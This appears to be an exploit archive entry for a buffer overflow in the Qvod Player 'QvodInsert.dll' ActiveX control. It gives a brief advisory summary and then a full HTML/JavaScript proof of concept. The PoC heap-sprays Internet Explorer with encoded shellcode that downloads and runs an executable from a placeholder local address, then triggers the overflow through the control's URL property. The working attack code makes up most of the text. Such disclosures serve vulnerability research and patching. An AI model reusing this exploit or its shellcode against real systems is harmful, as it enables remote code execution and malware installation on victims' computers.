Qvod Player 2.1.5 'QvodInsert.dll' ActiveX Control Remote Buffer Overflow Vulnerability

source: http://www.securityfocus.com/bid/27271/info Qvod Player 'QvodInsert.dll' ActiveX control is prone to is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions. The issue affects versions prior to Qvod Player 2.1.5 build 0053. <html> <body> <object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" width=100 height=200> </object> <script> var heapSprayToAddress = 0x05050505; var shellcode = unescape("%u9090"+"%u9090"+ "%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" + "%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" + "%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" + "%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" + "%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" + "%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" + "%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" + "%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" + "%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" + "%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" + "%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" + "%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" + "%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" + "%u312f%u3732%u302e%u302e%u312e%u742f%u7365%u2f74" + "%u2e64%u7865%u0065"); var heapBlockSize = 0x400000; var payLoadSize = shellcode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u0505%u0505"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory = spraySlide + shellcode; } try { var a=new Array(813); a=a+"7rBJ"+"aaaaaaaaaccccccccccccccccccccccccccvvvvvvvvvvvvvvvvvvvvvvvvvvvbbbbbbbbbbbbbbbbbbbbbbnnnnnnnnnnnnnnnnnnnnnnnnnnnnhhhhhhhhhhhhhhhhhhhhhhhhhh"; document.write(evil.URL=a); } catch(e){} function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } </script> </body> </html>